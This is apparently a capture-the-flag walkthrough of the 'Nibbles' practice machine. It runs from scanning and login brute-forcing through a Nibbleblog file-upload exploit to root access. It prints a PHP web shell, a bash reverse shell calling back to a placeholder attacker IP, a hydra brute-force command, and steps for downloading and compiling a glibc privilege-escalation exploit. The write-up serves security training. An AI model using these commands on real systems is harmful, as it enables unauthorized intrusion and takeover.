💥Cyb3rBook

NIBBLES

13 min read

PRIMARY CATEGORY → EASY

Summary

  • Web Enumeration (Directory Fuzzing with Gobuster)
  • Custom Directory/Wordlist Creation (Cewl)
  • Bruteforce a Login Panel with Hydra and Python
  • Exploting CVE-2015-6967 (RCE via Authenticated File Upload)
  • Custom Python Script to exploit CVE-2015-6967
  • Privesc via Sudo Privilege
  • Additional Privesc via Glibc

Setup

Directory creation with the Machine’s Name

mkdir Nibbles && cd !$

Creation of a Pentesting Folder Structure to store all the information related to the target

Reference

Nibbles
mkt

Recon

OS Identification

First, proceed to identify the Target Operative System. This can be done by a simple ping taking into account the TTL Unit

The standard values are →

  • About 64 → Linux
  • About 128 → Windows
Nibbles/scans
ping -c1 10.129.96.84

As mentioned, according to the TTL, It seems that It is a Linux Target

Port Scanning
General Scan

Let’s run a Nmap Scan to check what TCP Ports are opened in the machine

The Scan result is exported in a grepable format for subsequent Port Parsing

Nibbles/scans
nmap -p- --open -sS --min-rate 5000 -n -vvv -Pn -oG allPorts 10.129.96.84

Open Ports → 22, 80

Comprehensive Scan

The ExtractPorts utility is used to get a Readable Summary of the previous scan and have all Open Ports copied to the clipboard

Nibbles/Scans
extractPorts allPorts

Then, the Comprehensive Scan is performed to gather the Service and Version running on each open port and launch a set of Nmap Basic Recon Scripts

Note that this scan is also exported to have evidence at hand

Nibbles/Scans
nmap -p22,80 -sCV -oN targeted 10.129.96.84
OS Version (Codename)

In Linux Systems, the Operative System Version could be extracted through Launchpad

According to the Version Column Data of the Comprehensive Scan, proceed as follows →

  • 22 - SSH

Reference

Firefox
OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 site:launchpad.net
  • 80 - HTTP

Reference

Firefox
OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 site: launchpad

Codename → Ubuntu Xenial

This can be verified once the shell is obtained, i.e. the system has been compromised

There are several ways to carry out it →

cat /etc/os-release
hostnamectl # If System has been booted via Systemd
lsb_release -a
cat /etc/issue
22 - SSH

OpenSSH Version → v7.2

All the OpenSSH Versions prior to the v7.7 one are vulnerable to aSystem User Enumeration

Reference

CVE-2018-15473 → OpenSSH < v7.7

searchsploit ssh user enumeration

To get the ExploitDB links related to above exploits →

searchsploit --www ssh user enumeration

Exploit → OpenSSH < 7.7 - User Enumeration (2)

To examine it →

searchsploit --examine linux/remote/45939.py |& cat --language python

This exploit requires Python2

Then, execute it as follows →

Nibbles/tools
searchsploit --mirror linux/remote/45939.py
mv "${_##*/}" ssh_exploit.py
Nibbles/tools
python2 !$

In this case, nothing interesting is extracted

80 - HTTP
Web Server Headers (Banner Grabbing)
curl --silent --request GET --location --head http://10.129.96.84

Nothing interesting here

Web Technologies
  • Whatweb
whatweb http://10.129.96.84

Nothing interesting here either

  • Wappalyzer

It extracts that PHP is the Server Language Programming

This is interesting to know if some attack vector appear such as File Upload to chain it with a RCE

Browser-Based Web Revision

Once the web is accessed through http://10.129.96.84, the following page content is displayed →

Zoom In

However, the following hint appears in the Page Source Code →

Zoom In

The Following Web Path is leaked → http://10.129.96.84/nibbleblog/

Accessing it returns the following

Zoom In

Let’s apply fuzzing to this Website to discover its content (files, directories…)

Web Fuzzing

Web fuzzing is applied to the leaked Web Path in the above source code using gobuster

Note that this Web Scan is exported as evidence

Nibbles/scans
gobuster dir --threads 75 --output ./webScan --wordlist /usr/share/seclist/Discovery/Web-Content/directory-list-2.3-medium.txt --extensions php --url http://10.129.96.84/nibbleblog/

From the resources reflected in the Web Scan, the Content directory and the admin.php files stand out from the rest

The Content Directory resources can be listed (Directory listing) →

Zoom In

By searching the directory content, the following XML file is found in the /content/private/users.xml path

Zoom In

A username is leaked in the above file

Remember to store all retrieved data and credentials

Nibbles/evidence/creds/
printf "%s\n" "admin" > ./users.txt

In the other hand, there is the admin.php resource which leads to a Login Panel

Zoom In

It seems the CMS Login Panel, the Nibbleblog one in this case

Let’s brute force this login panel using the admin user found above

Brute Force

In this case, before proceed with Hydra and the Rockyou dictionary, a custom dictorionary is created via cewl

Nibbles/tools
cewl -m 5 --with-numbers --depth 8 --write custom_dictionary.txt http://10.129.96.84/nibbleblog

Then, use hydra or a Python Script to brute force the Admin Panel

First, intercept the HTTP Request attempting to log in to check the HTTP Method and Headers

Zoom In

It is a HTTP POST Request with the following data

  • Username
  • Password

The application displays an Error Message when the login is incorrect

Zoom In

According to this information, proceed as follows →

  • Hydra
hydra -l admin -P ./dictionary.txt 10.129.130.179 http-post-form '/nibbleblog/admin.php:username=^USER^&password=^PASS^:Incorrect username or password.'
  • Python
Nibbles/tools
python3 bruteforce.py http://10.129.96.84/nibbleblog/admin.php admin custom_dictionary.txt

Credentials → admin:nibbles

Exploitation

RCE via Authenticated File Upload

Once inside de Admin Panel, all functionalities must be inspected

There is a File Upload in the my_image plugin form

Zoom In

The Software Version is also found →

Zoom In

Version → 4.0.3

If a search about the existing vulnerabilities for this Software and Version is performed →

searchsploit nibble

There is an Arbitrary File Upload vulnerability for the above version in the my_image plugin

Reference

The following PHP payload is uploaded to check this functionality

Nibbles/tools
<?php phpinfo(); ?>

Zoom In

The referenced exploit shows the storage path of the uploaded files

Storage Path → http://10.129.96.84/nibbleblog/content/private/plugins/my_image/image.php

If accessed, the above resouce displays the following →

Zoom In

Therefore, this Software Version has been exploited via an Arbitrary File Upload

Thank to the uploaded phpinfo();, It is possible to check the disable_functions parameter value

The same can be achieved uploading the following payload which checks what PHP Dangerous Functions are not disabled

In this case, PHP Functions such as exec, shell_exec or system are not disabled

Thus, one of them is used to upload a web shell

<?php echo "<pre>" . system($_REQUEST['cmd']) . "</pre>";

To get a Reverse Shell simply as a cmd URL parameter value the following bash payload →

Target
bash -c "bash -i &> /dev/tcp/<ATTACKER_IP>/<ATTACKER_PORT> 0>&1"

While listening on the other side →

Attacker
nc -nlvp <ATTACKER_PORT>

The & may should be URL Encoded to %26 to avoid errors

Shell as Web User

Once a connection via Reverse Shell is stablished, just proceed as follows to upgrade the obtained shell to a Fully Interactive TTY

Target
script /dev/null -c bash
<C-z>
Attacker
stty raw -echo ; fg
reset xterm
Target
export TERM=xterm-256color
export SHELL=/bin/bash
. /etc/skel/.bashrc
stty rows <ROWS> columns <COLUMNS>

Privesc #0

Initial Non-Privileged User → Nibbler

Check the existent user directories in the /home Path

ls -l /home

There is only one and It is owned by the user Nibbler

Therefore, Privilege Escalation is done directly to the Root user

User Groups
id

The user is not part of any interesting group

Sudo Privileges
sudo -l

The Nibbler user can run the command following command as Root without providing a password

/home/nibbler/personal/stuff/monitor.sh

Thus, check the /home/nibbler content

ls -l /home/nibbler

In addition to the user flag, a ZIP File is there

List its content as follows →

/home/nibbler
unzip -l -- personal.zip

The only resulting file is the monitor.sh script, which Nibbler can run as Root

Let’s see the above file permissions and owners

/home/nibbler
command -V tree &> /dev/null && tree -fpugh ./personal
# Or
command -V find &> /dev/null && find ./personal -type f -ls 2> /dev/null

The Nibbler user is the user owner and the File Permissions are 777

Therefore, just modify this script and the following line to gain a shell as Root

/home/nibbler/personal/stuff/monitor.sh
bash -pi

Once modified, run the sudo command as follows

sudo -u root /home/nibbler/personal/stuff/monitor.sh

That’s it!

cat /root/root.txt

Pwned!

Privesc #1

Glibc (CVE-2018-1000001)

Reference

There is another way to gain access as Root

List the Gnu Library C - Glibc System Version

Target
ldd --version | head -n1

A vulnerability related to that Glibc Version exists → Rational Love

searchsploit glibc 2.23

To examine it →

searchsploit --examine linux/local/43775.c |& cat --language c -

Cat is an alias for Bat

Copy that exploit to the system and transfer it to the Target machine

Nibbles/tools
searchsploit --mirror linux/local/43775.c
mv "${_##*/}" exploit.c
Nibbles/tools
python3 -m http.server 8888
Target:/dev/shm
command -V curl &> /dev/null && curl --remote-name "http://10.10.16.30:8888/exploit.c"

Once the .C File is in the Target, compile it

Normally, in the exploit itself, there is a line that shows the Compile Command

grep -i -- gcc exploit.c
gcc -o RationalLove exploit.c

Execute it

./RationalLove

That’s it!

wc -c /root/root.txt

Custom Exploits

Bruteforce Login Panel
CVE-2015-6967

See here

Graph View

Backlinks